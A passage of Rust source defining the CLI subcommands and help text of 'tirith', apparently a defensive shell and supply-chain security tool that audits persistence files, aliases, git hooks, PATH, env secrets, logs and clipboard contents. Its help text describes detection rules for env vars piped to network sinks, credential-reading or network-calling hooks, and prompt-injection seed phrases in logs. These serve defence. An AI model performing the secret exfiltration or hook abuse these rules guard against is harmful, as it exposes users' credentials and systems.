}

#[derive(Subcommand)]
enum PersistenceAction {
    /// Inventory every watched surface + record the baseline snapshot
    #[command(after_help = "\
What it inventories:
  shell rc/profile files, ~/.ssh/{authorized_keys,config}, ~/.gitconfig,
  ~/.npmrc, the user crontab (crontab -l), ~/.config/systemd/user/*.service,
  macOS ~/Library/LaunchAgents/*.plist, login items, .envrc in the cwd
  ancestry, and the git global hooks path. Prints each location + its current
  sha256.

Side effect:
  Records the inventory as the baseline snapshot at
  <state-dir>/persistence_snapshot.json so a later `diff` has a baseline.

Exit codes:
  0  always (pure observability — tirith never modifies a watched file).

Examples:
  tirith persistence scan
  tirith persistence scan --json")]
    Scan {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show what changed since the baseline (added lines only, redacted)
    #[command(after_help = "\
What it shows:
  For each changed surface, only the ADDED LINES (never removed lines, never
  full content), run through the shipping credential redactor. Requires a
  baseline recorded by a prior `tirith persistence scan`.

`diff` does NOT update the snapshot — re-run `tirith persistence scan` to
accept the current state as the new baseline.

Exit codes:
  0  no change, or only Medium/Low changes.
  1  at least one High/Critical change (new authorized key, new launch agent).

Examples:
  tirith persistence diff
  tirith persistence diff --json")]
    Diff {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Poll for changes every --interval seconds until SIGINT
    #[command(after_help = "\
What it does:
  Polls every --interval seconds (default 30) until Ctrl-C. Each poll diffs
  against the last-saved snapshot, reports any changes, then re-baselines so
  the next poll reports only incremental changes.

Exit codes:
  0  on SIGINT (clean shutdown).

Examples:
  tirith persistence watch
  tirith persistence watch --interval 30
  tirith persistence watch --interval 10 --json")]
    Watch {
        /// Poll interval in seconds (default: 30).
        #[arg(long, default_value_t = 30)]
        interval: u64,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum AliasesAction {
    /// Enumerate aliases + functions and flag risky ones
    #[command(after_help = "\
What it does:
  Statically parses ~/.bashrc, ~/.zshrc, ~/.config/fish/config.fish, and
  PowerShell $PROFILE paths to enumerate aliases + functions, then classifies
  each against four rules (network call / credential read / critical-command
  override / recently added). NEVER executes your shell config in static mode.

--include-runtime (opt-in):
  Additionally shells out with no-rc flags (bash --norc --noprofile -c 'alias',
  zsh -f -c 'alias', fish --no-config -c 'functions') so your real rc files are
  NOT sourced. Results are cached per process for 60s.

Exit codes:
  0  no High/Critical finding (clean, or only Medium/Low/Info).
  1  at least one High/Critical finding (network call / credential read).

Examples:
  tirith aliases scan
  tirith aliases scan --include-runtime
  tirith aliases scan --json")]
    Scan {
        /// Also introspect live shells via no-rc shell-outs (opt-in).
        #[arg(long)]
        include_runtime: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show a single alias/function's body + analysis (body redacted)
    #[command(after_help = "\
What it shows:
  Every definition matching <name> (a name can be defined in more than one rc
  file / shell), its body (credential-redacted), and any risk findings.

Exit codes:
  0  the name was found.
  2  no alias or function with that name was found.

Examples:
  tirith aliases explain git
  tirith aliases explain deploy --json")]
    Explain {
        /// The alias / function name to explain.
        name: String,
        /// Also introspect live shells via no-rc shell-outs (opt-in).
        #[arg(long)]
        include_runtime: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum EnvAction {
    /// Flip the exec-path env-guard rules on/off (or report status)
    #[command(after_help = "\
What it does:
  Sets policy.env_guard_enabled in your local policy.yaml (append-or-rewrite a
  single line — other lines untouched). When ON, `engine::analyze` flags a
  sensitive env var exposed to an unknown piped-to-shell command (High) and
  printenv/env piped to a network sink (Medium). Default is OFF.

Exit codes:
  0  on/off succeeded, or status found no persisted secret.
  1  status found a sensitive var exported in an rc/profile file.
  2  unknown action (expected on|off|status).

Examples:
  tirith env guard on
  tirith env guard off
  tirith env guard status --json")]
    Guard {
        /// on | off | status
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show sensitive vars newly set since shell start (values masked)
    #[command(after_help = "\
What it shows:
  Compares the sensitive vars set in this process against the shell-start
  snapshot (state-dir/env_snapshot.json, written by the shell hook). Reports
  which sensitive vars are newly set. Sensitive values are presence-only and
  are never shown, persisted, hashed, or compared with snapshot values.

--reset:
  Re-baseline the snapshot from the current environment (all values are presence-only).

Exit codes:
  0  no sensitive var newly appeared (or --reset).
  1  at least one sensitive var is newly set since shell start.

Examples:
  tirith env diff
  tirith env diff --json
  tirith env diff --reset")]
    Diff {
        /// Re-baseline the snapshot from the current environment.
        #[arg(long)]
        reset: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show where a variable is set (file:line; value masked as ****)
    #[command(after_help = "\
What it shows:
  Every rc/profile file that exports <VAR> (file + line number) with the value
  MASKED to ****, plus whether the variable is currently set in this process.
  tirith NEVER reads or prints the value.

Exit codes:
  0  found in the process or an rc file.
  2  not configured anywhere tirith scanned.

Examples:
  tirith env explain AWS_SECRET_ACCESS_KEY
  tirith env explain GITHUB_TOKEN --json")]
    Explain {
        /// The environment variable name to locate.
        var: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Compose a provenance graph over an installed environment (ownership /
    /// execution / payload), plus this repo's MCP surface. Read model only.
    #[command(after_help = "\
What it shows:
  The same provenance read model as `tirith pkg graph --installed`: every
  installed distribution in the environment, the paths each owns, any path two
  distributions both claim, and this repo's declared MCP servers/tools. It
  introduces no new detection and never blocks.

Examples:
  tirith env graph --installed .venv
  tirith env graph --installed .venv --json
  tirith env graph --installed .venv --dot")]
    Graph {
        /// The installed environment tree to graph (a venv root or `--target` dir).
        #[arg(long = "installed", value_name = "ENV")]
        installed: std::path::PathBuf,
        /// Render as Graphviz DOT.
        #[arg(long, conflicts_with = "json")]
        dot: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Internal: write the shell-start env snapshot (used by the shell hook)
    #[command(hide = true)]
    Snapshot,
}

#[derive(Subcommand)]
enum ExecAction {
    /// Resolve a command on $PATH and report its full provenance
    #[command(after_help = "\
What it shows:
  Resolves <BIN> on $PATH (first hit = what the shell runs), then reports the
  package manager that owns it, its code-signature status (codesign on macOS),
  file type, permissions, modification time, every $PATH copy, and whether it
  shadows a same-named system command.

Exit codes:
  0  resolved, no HIGH-severity provenance finding.
  1  a HIGH finding fired (recently modified, world-writable).
  2  <BIN> is not on $PATH.

Examples:
  tirith exec check kubectl
  tirith exec check git --json")]
    Check {
        /// The command name to resolve and inspect.
        bin: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Inspect provenance for a specific executable path
    #[command(after_help = "\
What it shows:
  The same provenance record as `exec check`, but for an explicit file path
  rather than a $PATH-resolved command. Useful for a downloaded binary you have
  not yet put on $PATH (e.g. /tmp/installer, ./build/tool).

Exit codes:
  0  inspected, no HIGH-severity finding.
  1  a HIGH finding fired.
  2  <PATH> is not a regular file.

Examples:
  tirith exec provenance /tmp/installer
  tirith exec provenance ./node_modules/.bin/esbuild --json")]
    Provenance {
        /// The file path to inspect (a leading ~/ is expanded).
        path: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Flip the exec hot-path provenance guard on/off (or report status)
    #[command(after_help = "\
What it does:
  Sets policy.exec_guard_enabled in your local policy.yaml (append-or-rewrite a
  single line — other lines untouched). When ON, the exec hot path runs three
  cheap, stat-free rules on the resolved command leader: it WARNS when the leader
  resolves under /tmp (ExecInTmp), inside the current repo (ExecInRepoBin), or
  from a user-writable PATH dir ahead of the system path
  (PathWritableDirBeforeSystem). The expensive provenance checks
  (`tirith exec check`) NEVER run on the hot path. Default is OFF.

Exit codes:
  0  on/off succeeded, or status reported.
  2  unknown action (expected on|off|status).

Examples:
  tirith exec guard on
  tirith exec guard off
  tirith exec guard status --json")]
    Guard {
        /// on | off | status
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum PathAction {
    /// Audit $PATH for shadowing / hijack risks
    #[command(after_help = "\
What it flags:
  $PATH directories that are repo-local, under /tmp, or user-writable AND ahead
  of the system path, plus command names that resolve in more than one dir.

Exit codes:
  0  $PATH is clean of HIGH-severity risks.
  1  a HIGH finding fired (a /tmp dir, or a writable dir before the system path).

Examples:
  tirith path audit
  tirith path audit --json")]
    Audit {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Re-audit $PATH on an interval until Ctrl-C
    #[command(after_help = "\
What it does:
  Re-runs `path audit` every --interval seconds and prints only when the set of
  findings changes. Exits 0 on Ctrl-C.

Examples:
  tirith path watch
  tirith path watch --interval 30
  tirith path watch --interval 10 --json")]
    Watch {
        /// Poll interval in seconds (minimum 1).
        #[arg(long, default_value_t = 30)]
        interval: u64,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Resolve a command across $PATH (lives under `path`; no top-level alias)
    #[command(after_help = "\
What it shows:
  Every $PATH directory that resolves <CMD> to an executable, in order. The
  first hit is what the shell runs (marked with an arrow); system copies are
  tagged [system].

--secure:
  Exit 1 when the first-resolved copy is NOT a system binary (/usr/bin, /bin,
  /usr/sbin, /sbin) — i.e. a non-system <CMD> would win.

Exit codes:
  0  resolved (and, with --secure, the first hit is a system binary).
  1  --secure and a non-system copy resolves first.
  2  <CMD> is not on $PATH.

Examples:
  tirith path which git
  tirith path which git --secure
  tirith path which python --secure --json")]
    Which {
        /// The command name to resolve.
        cmd: String,
        /// Exit 1 if the resolved binary is not a system binary.
        #[arg(long)]
        secure: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum HooksAction {
    /// Inventory + classify every hook + automation surface in the repo
    #[command(after_help = "\
What it does:
  Inventories .git/hooks/*, .husky/*, lefthook.yml, .pre-commit-config.yaml,
  package.json lifecycle scripts (preinstall/install/postinstall/prepare),
  .envrc, mise/asdf tool hooks, Makefile, justfile, and Taskfile, then
  classifies each body against five rules (network call / credential read /
  sudo / suspicious-shell-pattern / external-fetch). Hook bodies are read as
  TEXT — never executed. Hooks and automation are listed separately.

Exit codes:
  0  no High/Critical finding.
  1  at least one High/Critical finding.

Examples:
  tirith hooks scan
  tirith hooks scan --json")]
    Scan {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Flip the exec-path hook guard on/off (or report status)
    #[command(after_help = "\
What it does:
  Sets policy.hooks_guard_enabled in your local policy.yaml (append-or-rewrite a
  single line — other lines untouched). When ON, the exec hot path WARNS when a
  hook-triggering command (git commit|pull|checkout|merge|rebase|push,
  npm|yarn|pnpm install, direnv allow|reload) runs in a repo whose triggered
  hooks make a network call, read credentials, or use sudo. Default is OFF.

Exit codes:
  0  on/off succeeded, or status reported.
  2  unknown action (expected on|off|status).

Examples:
  tirith hooks guard on
  tirith hooks guard off
  tirith hooks guard status --json")]
    Guard {
        /// on | off | status
        action: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show a single surface's body (credential-redacted) + analysis
    #[command(after_help = "\
What it shows:
  Every surface matching <name> (a name like pre-commit can exist under
  .git/hooks, .husky, AND lefthook.yml), its body (credential-REDACTED), and any
  risk findings.

Exit codes:
  0  the name was found.
  2  no hook or automation surface with that name was found.

Examples:
  tirith hooks explain pre-commit
  tirith hooks explain postinstall --json")]
    Explain {
        /// The hook / surface name to explain.
        name: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum LogsAction {
    /// Scan a log file for prompt-injection seeds, secrets, and escape sequences
    #[command(after_help = "\
Runs `engine::analyze` with `ScanContext::FileScan` over the file content,
plus an explicit credential pass (the file-scan path does not run credentials
by default, but secrets in logs are a primary concern). Exits 1 on any
finding.

The prompt-injection rule catches well-known seed phrases only — it is NOT
a complete defense. See `tirith logs --help` for the full disclaimer.

Examples:
  tirith logs scan ./error.log
  tirith logs scan --json ./agent-trace.log")]
    Scan {
        /// Log file to scan.
        path: std::path::PathBuf,

        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Compress a log file: dedup lines, optionally redact and strip ANSI
    #[command(after_help = "\
Streams the file without loading the entire log. With `--safe-for-agent`,
fixed-size reads feed a bounded cross-line private-key redactor. Pipeline:

  1. (when --safe-for-agent) redact secrets / internal hostnames /
     customer IDs via `redact_for_audience(input, llm)`.
  2. (when --safe-for-agent) strip ANSI / OSC / DCS escape sequences
     and zero-width characters.
  3. Collapse runs of identical consecutive lines into `line [×N]`.
  4. Truncate to `--max-lines` (default 200), keeping head + tail
     with a `[... N lines collapsed ...]` marker between.

The stderr trailer reports per-action counts: secrets removed,
duplicate lines collapsed, escape sequences stripped.

Examples:
  tirith logs summarize ./build.log
  tirith logs summarize --safe-for-agent --max-lines 100 ./build.log
  tirith logs summarize --safe-for-agent --json ./error.log")]
    Summarize {
        /// Log file to summarize.
        path: std::path::PathBuf,

        /// Redact secrets/internal IPs/customer IDs and strip ANSI escape
        /// sequences before emitting.
        #[arg(long)]
        safe_for_agent: bool,

        /// Maximum number of output lines (head+tail). Default 200.
        #[arg(long, default_value_t = 200)]
        max_lines: usize,

        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Stream a log file through the audience-aware share-engine
    #[command(after_help = "\
Identical audience semantics to `tirith share --target`. Streams the file
in fixed-size chunks, carries bounded private-key state across lines,
applies `redact_for_audience_with_custom` to non-key content, and writes
the sanitized content to stdout. Per-label counts go to stderr. A logical
line or private-key block over 1 MiB fails closed.

Examples:
  tirith logs redact --audience llm ./error.log
  tirith logs redact --audience public-paste ./error.log
  tirith logs redact --audience github-issue --json ./error.log")]
    Redact {
        /// Log file to redact.
        path: std::path::PathBuf,

        /// Audience preset: github-issue | slack | llm | public-paste | generic.
        #[arg(long, value_parser = clap::builder::PossibleValuesParser::new(tirith_core::redact::ShareAudience::cli_values()))]
        audience: String,

        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum OutputAction {
    /// Install (on), remove (off), or report (status) the `tirith-out` wrapper
    #[command(after_help = "\
Installs a shell function `tirith-output-guard-wrap` (alias: `tirith-out`)
in your shell profile that pipes the wrapped command's stdout/stderr through
`tirith view`. Usage after enabling: `tirith-out ./my-script`.

Examples:
  tirith output wrap on
  tirith output wrap off
  tirith output wrap status")]
    Wrap {
        /// One of: on, off, status.
        action: String,
    },
}

#[derive(Subcommand)]
enum ClipboardAction {
    /// Copy a file's contents to the clipboard, refusing secret-shaped data
    #[command(after_help = "\
Reads the file, runs the paste-context analyzer over it, and:
  - if a High-severity finding fires (e.g. an AWS key, GitHub token,
    SSH private key) AND `--redact` is NOT set, refuses with exit 1.
  - if `--redact --audience <a>` is set, applies the audience-aware
    redactor (see `tirith share --help`) and copies the sanitized
    content instead. Prints a per-label summary to stderr.
  - otherwise copies the file unchanged.

Examples:
  tirith clipboard copy ./snippet.sh
  tirith clipboard copy --redact --audience public-paste ./fixture.log
  tirith clipboard copy --redact --audience llm ./snippet.sh --json")]
    Copy {
        /// File to read.
        path: PathBuf,

        /// Apply audience-aware redaction before copying.
        #[arg(long)]
        redact: bool,

        /// Audience for `--redact`. Defaults to `generic` when --redact is
        /// set without an explicit audience.
        #[arg(long)]
        audience: Option<String>,

        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Scan the current clipboard contents and print a paste verdict
    #[command(after_help = "\
Reads the system clipboard, runs the paste pipeline over the
contents, and reports a Verdict. Exit codes match `tirith paste`:
0 = Allow, 1 = Block (High), 2 = Warn (Medium), 3 = WarnAck.

Soft-degrades on headless machines (no X/Wayland, SSH, CI runner)
to a `no_backend` envelope under `--json`; exit code 0.

Examples:
  tirith clipboard scan
  tirith clipboard scan --json")]
    Scan {
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Manage the background clipboard guard service (launchd / systemd)
    #[command(after_help = "\
`install-service`   — print (or write on --apply) the OS-correct
                      service unit that runs the polling daemon.
                      macOS: ~/Library/LaunchAgents/sh.tirith.clipboard.plist
                      Linux: ~/.config/systemd/user/tirith-clipboard.service
                      Windows: not supported in service mode.
`uninstall-service` — remove the unit and unload the service.
`status`            — report whether the service is installed +
                      loaded.

Examples:
  tirith clipboard guard install-service
  tirith clipboard guard install-service --apply
  tirith clipboard guard uninstall-service
  tirith clipboard guard status
  tirith clipboard guard status --json")]
    Guard {
        #[command(subcommand)]
        action: GuardAction,
    },

    /// Run the clipboard polling daemon in the foreground (used by service unit)
    ///
    /// Hidden from the top-level `--help` listing — this command exists
    /// for the launchd / systemd service unit's `ExecStart`. Operators
    /// who want to run it manually can still do so:
    ///
    ///     tirith clipboard daemon --foreground &
    #[command(hide = true)]
    Daemon {
        /// Required flag — there is no background mode. The foreground
        /// requirement is explicit so a typo (`tirith clipboard daemon`
        /// with no flag) doesn't silently no-op or spin up an orphan.
        #[arg(long)]
        foreground: bool,

        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Watch the clipboard and report the browser source of each new copy (M12 ch1)
    #[command(after_help = "\
Polls the system clipboard. When the companion browser extension records
a new clipboard source (at state-dir/clipboard_source.json) whose content
SHA-256 matches the current clipboard, prints the attributed source URL.

A no-op on a machine without the companion extension (the source file
never appears). Runs until interrupted (Ctrl-C).

Examples:
  tirith clipboard watch
  tirith clipboard watch --json")]
    Watch {
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum GuardAction {
    /// Print (or write on --apply) the OS-correct service unit
    #[command(
        name = "install-service",
        after_help = "\
Prints the launchd plist (macOS) or systemd --user unit (Linux) that
drives `tirith clipboard daemon --foreground`. Without --apply, the
content is printed to stdout (suitable for review or piping into a
config-management system). With --apply, the unit is written to the
canonical path and the OS service manager is asked to load it.

The write is idempotent: running --apply twice when the file already
matches is a no-op.

Examples:
  tirith clipboard guard install-service
  tirith clipboard guard install-service --apply
  tirith clipboard guard install-service --apply --json"
    )]
    InstallService {
        /// Actually write the unit file and load it. Without this flag
        /// the content is printed to stdout for inspection.
        #[arg(long)]
        apply: bool,

        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Remove the service unit and unload it
    #[command(
        name = "uninstall-service",
        after_help = "\
Examples:
  tirith clipboard guard uninstall-service
  tirith clipboard guard uninstall-service --json"
    )]
    UninstallService {
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Report whether the service is installed and loaded
    #[command(after_help = "\
Examples:
  tirith clipboard guard status
  tirith clipboard guard status --json")]
    Status {
        /// Output format (default: human).
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json.
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum LicenseAction {
    /// Deactivate current license
    Deactivate,
    /// Refresh license from server
    Refresh,
}

#[derive(Subcommand)]
enum AuditAction {
    /// Export audit log records as JSON or CSV
    #[command(after_help = "\
Examples:
  tirith audit export
  tirith audit export --format csv --since 2025-01-01")]
    Export {
        /// Output format
        #[arg(long, value_enum, default_value_t = AuditExportFormat::Json)]
        format: AuditExportFormat,
        /// Filter: only records since this ISO 8601 date
        #[arg(long)]
        since: Option<String>,
        /// Filter: only records until this ISO 8601 date
        #[arg(long)]
        until: Option<String>,
        /// Filter: only this session ID
        #[arg(long)]
        session: Option<String>,
        /// Filter: only this action (Allow, Warn, Block)
        #[arg(long)]
        action: Option<String>,
        /// Filter: only records matching these rule IDs
        #[arg(long)]
        rule_id: Vec<String>,
        /// Entry type filter: verdict (default), hook_telemetry, or all
        #[arg(long, default_value = "verdict")]
        entry_type: String,
    },
    /// Show summary statistics from the audit log
    #[command(after_help = "\
Examples:
  tirith audit stats
  tirith audit stats --format json")]
    Stats {
        /// Filter to a specific session ID
        #[arg(long)]
        session: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
        /// Entry type filter: verdict (default) or hook_telemetry
        #[arg(long, default_value = "verdict")]
        entry_type: String,
    },
    /// Generate a compliance report from the audit log
    #[command(after_help = "\
Examples:
  tirith audit report
  tirith audit report --format html > report.html")]
    Report {
        /// Output format
        #[arg(long, value_enum, default_value_t = AuditReportFormat::Markdown)]
        format: AuditReportFormat,
        /// Filter: only records since this ISO 8601 date
        #[arg(long)]
        since: Option<String>,
        /// Entry type filter: only verdict is supported
        #[arg(long, default_value = "verdict")]
        entry_type: String,
    },
    /// Verify the tamper-evident audit chain (W4)
    #[command(after_help = "\
Examples:
  tirith audit verify
  tirith audit verify --expected-head <sha256>")]
    Verify {
        /// Expected head hash from a prior run (anchors truncation detection)
        #[arg(long)]
        expected_head: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum PendingAction {
    /// List unresolved pending decisions
    List {
        /// Output as JSON.
        #[arg(long)]
        json: bool,
    },
    /// Resolve a pending decision: keep | rollback | approve | deny
    Resolve {
        /// Pending decision id
        id: String,
        /// Resolution: keep | rollback | approve | deny
        action: String,
        /// Optional reason recorded with the resolution
        #[arg(long)]
        reason: Option<String>,
    },
    /// Export all pending decisions as JSON
    Export {
        /// Write to a file instead of stdout
        #[arg(long)]
        output: Option<std::path::PathBuf>,
    },
}

/// The ecosystem `tirith pkg` enforces for. Only `pip` installs; `npm`/`cargo`
/// resolve-and-inspect lives behind hidden experimental flags and cannot install.
#[derive(Copy, Clone, Debug, PartialEq, Eq, clap::ValueEnum)]
enum PkgEcosystem {
    /// Python wheels (the only enforced ecosystem).
    Pip,
    /// npm, not enforced in this version.
    Npm,
    /// cargo, not enforced in this version.
    Cargo,
}

impl PkgEcosystem {
    fn into_core(self) -> cli::pkg::Ecosystem {
        match self {
            PkgEcosystem::Pip => cli::pkg::Ecosystem::Pip,
            PkgEcosystem::Npm => cli::pkg::Ecosystem::Npm,
            PkgEcosystem::Cargo => cli::pkg::Ecosystem::Cargo,
        }
    }
}

#[derive(Subcommand)]
enum PkgAction {
    /// Resolve + inspect a requirement set and approve its install plan through
    /// the x86_64 Linux native authority. Does NOT install.
    #[command(after_help = "\
Examples:
  tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
  tirith pkg approve pip flask --target .venv

Native approval issuance is available only on x86_64 Linux. Unsupported
platforms fail closed before publishing an approval record.")]
    Approve {
        /// The ecosystem (only `pip` is enforced).
        #[arg(value_enum)]
        ecosystem: PkgEcosystem,
        /// Requirement specs (e.g. `requests==2.31.0`).
        requirements: Vec<String>,
        /// Required new dedicated install directory (pip `--target`).
        #[arg(long)]
        target: Option<std::path::PathBuf>,
        /// An approved index URL (repeatable); empty means lock-only / `--no-index`.
        #[arg(long = "index-url")]
        index_url: Vec<String>,
        /// An approved artifact/CDN origin (repeatable). This authorizes broker
        /// egress only and is never treated as a package index.
        #[arg(long = "artifact-origin")]
        artifact_origin: Vec<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Resolve + inspect + install ONLY the verified, hash-pinned bytes, inside the
    /// containment capsule, recording a tamper-evident receipt. Enforcing execution
    /// is x86_64 Linux-only; every other platform or architecture fails closed
    /// before pip starts.
    #[command(after_help = "\
Examples:
  tirith pkg install pip requests==2.31.0 --target .tirith-pkg
  tirith pkg install pip flask --target .venv --yes

Execution is supported only on x86_64 Linux. Unsupported platforms and
architectures refuse before pip starts; they never fall back to an uncontained
install.")]
    Install {
        /// The ecosystem (only `pip` is enforced).
        #[arg(value_enum)]
        ecosystem: PkgEcosystem,
        /// Requirement specs (e.g. `requests==2.31.0`).
        requirements: Vec<String>,
        /// Required new dedicated install directory (pip `--target`).
        #[arg(long)]
        target: Option<std::path::PathBuf>,
        /// An approved index URL (repeatable); empty means lock-only / `--no-index`.
        #[arg(long = "index-url")]
        index_url: Vec<String>,
        /// An approved artifact/CDN origin (repeatable). This authorizes broker
        /// egress only and is never treated as a package index.
        #[arg(long = "artifact-origin")]
        artifact_origin: Vec<String>,
        /// Install without a prior `tirith pkg approve` (unattended). The receipt
        /// still attests the install honestly.
        #[arg(long)]
        yes: bool,
        /// Acknowledge degraded containment (still routes through the fail-closed
        /// installer; does not weaken the requirement).
        #[arg(long = "allow-degraded")]
        allow_degraded: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Verify an already-installed environment's RECORD integrity (D5), without
    /// installing anything.
    #[command(after_help = "\
Examples:
  tirith pkg verify-env --target .venv requests flask")]
    VerifyEnv {
        /// The environment tree to verify (a venv root or `--target` dir).
        #[arg(long)]
        target: std::path::PathBuf,
        /// The distribution names to verify (PEP 503 normalized internally).
        packages: Vec<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Enroll a fully static, native Linux uv executable by canonical path and
    /// SHA-256. Python runtimes must remain root-managed.
    TrustTool {
        /// Absolute path to the static Linux uv executable to enroll.
        path: std::path::PathBuf,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Compose a provenance graph (ownership / execution / payload) over a wheel
    /// set or an installed environment, plus this repo's MCP surface. Read model
    /// only: no detection, never blocks.
    #[command(after_help = "\
What it shows:
  A directed graph that answers ownership / execution / payload questions by
  COMPOSING already-computed signals: each artifact/distribution, the files it
  carries, the loader -> payload execution edges (a .pth import, a native init, a
  cross-runtime launch), the duplicate-aware ownership across distributions, and
  this repo's declared MCP servers/tools. It introduces no new detection.

Examples:
  tirith pkg graph requests-2.31.0-py3-none-any.whl
  tirith pkg graph a.whl b.whl --dot
  tirith pkg graph --installed .venv --json")]
    Graph {
        /// Wheel artifact paths to graph (omit when using --installed).
        #[arg(value_name = "WHEEL")]
        wheels: Vec<std::path::PathBuf>,
        /// Graph an installed environment tree (a venv root or `--target` dir)
        /// instead of wheel files.
        #[arg(long = "installed", value_name = "ENV")]
        installed: Option<std::path::PathBuf>,
        /// Render as Graphviz DOT.
